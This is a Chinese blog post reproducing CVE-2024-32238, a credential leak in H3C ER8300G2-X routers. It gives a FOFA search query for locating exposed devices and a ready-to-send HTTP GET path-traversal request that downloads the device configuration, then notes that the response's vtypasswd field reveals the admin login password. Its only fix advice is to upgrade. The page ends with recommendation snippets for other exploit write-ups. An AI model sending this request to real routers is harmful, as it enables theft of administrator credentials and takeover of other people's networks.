CVE-2024-32238 H3C-密码泄露

最新推荐文章于 2024-07-29 11:12:23 发布
最新推荐文章于 2024-07-29 11:12:23 发布
阅读量228 收藏
点赞数 1
文章标签： 网络 安全 网络安全 web安全
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/OrangeFox__111/article/details/140656087
版权

漏洞影响：

H3C ER8300G2-X易受不正确访问控制的影响。路由器管理系统的密码可以通过管理系统页面登录界面访问。

FOFA搜索：

app="H3C-Ent-Router" && title=="ER8300G2-X系统管理"

漏洞复现

POC：

GET /userLogin.asp/../actionpolicy_status/../ER8300G2-X.cfg HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; CrOS aarch64 15236.9.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

返回包中存在有vtypasswd参数，告诉了我们登录的密码。

修复建议：升级到最新版本

WZLN_
关注
  • 1
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
【漏洞复现】H3C 路由器多系列信息泄露漏洞
晚风不及你
02-19 2107
H3C路由器是一款高性能的路由器产品，具有稳定的性能和丰富的功能。它采用了先进的路由技术和安全机制，可以满足不同用户的需求，广泛应用于企业、运营商和数据中心等领域。
exploit （Linux 内核CVE-2024-1086漏洞复现脚本）
06-06
Linux 内核CVE-2024-1086漏洞复现脚本。 在普通用户下，将文件上传后，chmod 777 exploit ，然后运行 ./exploit ，提权成功，输入id，可看到已经是root权限 。
【漏洞复现】泛微OA E-Cology ln.FileDownload 任意文件读取漏洞
凝聚力安全团队
06-18 463
泛微e-cology是一款由泛微网络科技开发的协同管理平台，支持人力资源、财务、行政等多功能管理和移动办公解决方案。e-cology平台提供了一系列协同办公工具，包括在线办公应用、文档管理、任务管理、日程安排、电子邮件和即时通讯等。泛微OA ln.FileDownload 接口存在任意文件读取漏洞，攻击者通过漏洞可以获取服务器任意文件。。
（附nuclei yaml文件）H3C多款企业路由器actionpolicy_status信息泄露漏洞复现(管理员密码泄露)
nglj9527的博客
05-22 695
漏洞位于/userLogin.asp页面，通过访问路径/userLogin.asp/…/actionpolicy_status/…/设备型号.cfg，可获取设备配置文件，进而获得WEB管理账号及密码。
【漏洞复现】华三 H3C路由器 userLogin.asp 信息泄漏漏洞
凝聚力安全团队
06-17 1059
H3C路由器多系列存在信息泄露漏洞，攻击者可以利用该漏洞获取备份文件中的管理员账户及密码等敏感信息。H3C路由器是一款高性能的路由器产品，具有稳定的性能和丰富的功能。它采用了先进的路由技术和安全机制，可以满足不同用户的需求，广泛应用于企业、运营商和数据中心等领域。
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)【原理扫描】处理
热门推荐
企业实战系列集 ●●● https://ximenjianxue.blog.csdn.net
12-30 21万+
概述 SSL/TLS协议信息泄露漏洞(CVE-2016-2183)漏洞： TLS, SSH, IPSec协商及其他产品中使用的DES及Triple DES密码存在大约四十亿块的生日界，这可使远程攻击者通过Sweet32攻击，获取纯文本数据。 风险级别：低 该漏洞又称为SWEET32（https://sweet32.info）是对较旧的分组密码算法的攻击，它使用64位的块大小，缓解SWEET32攻击OpenSSL 1.0.1和OpenSSL 1.0.2中基于DES密码套件从“高”密码字符串组移至“中”；但Op
华三防火墙（HC3）CVE-2014-3566/RC4漏洞解决方案
tan02034038的博客
11-01 1098
CVE-2014-3566，也被称为"Poodle"漏洞，是一种影响到安全套接层协议（SSL）的漏洞。它于2014年10月公开，并由Google安全团队发现和披露。该漏洞存在于SSL 3.0协议中，攻击者可以利用它来获取通过加密连接传输的敏感信息，如登录凭据、会话信息等。漏洞的本质是利用了SSL 3.0中的一种弱点，即攻击者可以通过迫使通信双方降级到SSL 3.0协议，然后进行中间人攻击，从而解密和窃取通信内容。
开发日志：windows修复SSL漏洞CVE-2016-2183（3389端口）
老罗传奇
07-19 810
漏洞危害： 具有足够资源的中间人攻击者可利用此漏洞,通过“birthday”攻击检测会在固定密码与已知纯文本之间泄露 XOR 的冲突,进而泄露密码文本(例如安全 HTTPS Cookie),并可能导致劫持经认证的会话。 参见《支持SSL 64位块大小的密码套件(SWEET32)-修复方案》 参考资料：https://blog.csdn.net/weixin_46167705/article/de...
Apache Tomcat CVE-2020-1938 漏洞
A_991128a的博客
02-20 1325
从时代发展的角度看，网络安全的知识是学不完的，而且以后要学的会更多，同学们要摆正心态，既然选择入门网络安全，就不能仅仅只是入门程度而已，能力越强机会才越多。因为入门学习阶段知识点比较杂，所以我讲得比较笼统，大家如果有不懂的地方可以找我咨询，我保证知无不言言无不尽，需要相关资料也可以找我要，我的网盘里一大堆资料都在吃灰呢。干货主要有：①1000+CTF历届题库（主流和经典的应该都有了）②CTF技术文档（最全中文版）③项目源码（四五十个有趣且经典的练手项目及源码）
Atom CMS v2.0 SQL 注入漏洞（CVE-2022-25488）
Flag少侠的博客
07-03 9893
打开靶场直接访问则是 404跟上题目的路径查看却是空白删除 avatar.php 文件发现能看到整个目录查看其他文件得到报错信息得到一个参数 id，使用 SQLMap 跟上试试id=1"_____H__[Y/n] n[Y/n] n[y/N] n------很好，接下来就是熟悉的找 flag 了_____H__------[Y/n] n。
SSL/TLS协议信息泄露漏洞(CVE-2016-2183)【原理扫描】 服务器支持 TLS Client-initiated 重协商攻击(CVE-2011-1473)【原理扫描】
Gblfy_Blog
02-18 2529
netstat -apn | grep 41148 ps -ef | grep 2376 netstat -apn | grep 41148 二、Linux 1、查询8080端口是否被占用，并可以查看pid/程序名 netstat -apn | grep 8080Q 2、查看详细信息 ps -ef | grep PID 3、终止该进程 kill -9 PID ...
tomcat 升级到8.5.99后，系统启动不起来问题（修复 CVE-2024-24549 拒绝访问漏洞）
04-16
描述中提到的“在8.5.98基础上，增加了修复CVE-2024-24549拒绝访问漏洞的代码”，这表明Tomcat 8.5.99主要的更新内容是针对一个名为CVE-2024-24549的安全漏洞进行修复。CVE（Common Vulnerabilities and Exposures）...
openssh9.8p1安装升级rpm包，修复CVE-2024-6387漏洞
07-13
安装版本：OpenSSH_9.8p1, OpenSSL 1.1.1w 11 Sep ...3、yum localinstall openssh-* 4，检查版本 ssh -V 注意，由于需要卸载oepnssh，需要保持连接状态，否则断开无法连接服务器。并且安装过程中需要访问外网网络。
CVE-2023-6548 和 CVE-2023-65的Citrix Netscaler/ADC-13.0-92.21 最新补丁
01-19
针对CVE-2023-6548 和 CVE-2023-6549 的 NetScaler ADC 和 NetScaler Gateway 的漏洞补丁升级包 CVE-2023-6548 ：在管理接口上执行经过身份验证的（低特权）远程代码 CVE-2023-6549：拒绝服务 2、 强烈建议受影响...
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC
08-10
CVE-2022-33891POC Apache Spark 命令注入（CVE-2022-33891）POC CVE-2022-33891 影响版本 Apache spark version 3.1.1版本 Apache Spark version>= 3.3.0 修复方案 1.建议升级到安全版本，参考官网链接： ...
FastDDS中的线程梳理
最新发布
u010378559的博客
07-29 405
Fast DDS中的线程梳理和代码分析，详解
TCP请求如何获取客户端真实源IP地址
ajax_beijing_java的博客
07-29 387
针对四层的TCP请求（TCP监听器），可以通过在后端主机配置TOA插件获取客户端的真实源IP地址。TOA是操作系统的内核模块，需要在ELB后端主机中安装TOA插件，以实现后端主机可获取客户端真实源IP地址的目的。c. 编译过程若未提示warning或者error，说明编译成功，检查当前目录下是否已经生成toa.ko文件。假如提示信息中包含“TOA: toa loaded”，则证明内核模块已经加载成功。f. 以下步骤是以Ubuntu、Debian环境为例，进行编译环境准备。主备、集群模式资源池列表见。
Linux网络工具“瑞士军刀“集合
分享不一样的技术，与你一起共同成长!
07-26 372
下面结合之前的一些使用经验为大家介绍一下一些经典应用场景下，这个网络命令工具如何使用的。例如怎么查看当前服务器监听哪些端口、连接目标主机端口情况如何?平常我们在进行Linux服务器相关运维的时候，总会遇到一些网络相关的问题。我们可以借助这些小巧、功能强悍的工具帮助我们排查问题、解决问题...
CVE-2024-30078
06-22
CVE-2024-30078是一个安全漏洞的标识符，它通常被用于描述软件产品中的潜在安全风险。这种标识符由美国Computer Emergency Response Team (CERT)和Carnegie Mellon University Software Engineering Institute (SEI)共同维护，按照标准格式CVE-YYYY-NNNN分配。 具体到CVE-2024-30078，由于没有实时更新的数据，我无法提供详细的细节。不过一般情况下，CVE表示"Common Vulnerabilities and Exposures"，即常见漏洞和暴露，它描述了软件中存在的弱点，可能被恶意攻击者利用来进行诸如数据泄露、权限提升等攻击。 要了解CVE-2024-30078的具体信息，包括受影响的软件、漏洞类型、攻击向量以及可能的修复措施，建议查看官方的安全公告、厂商发布的声明或使用权威的漏洞数据库，如CVE Details、NVD（National Vulnerability Database）等网站。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值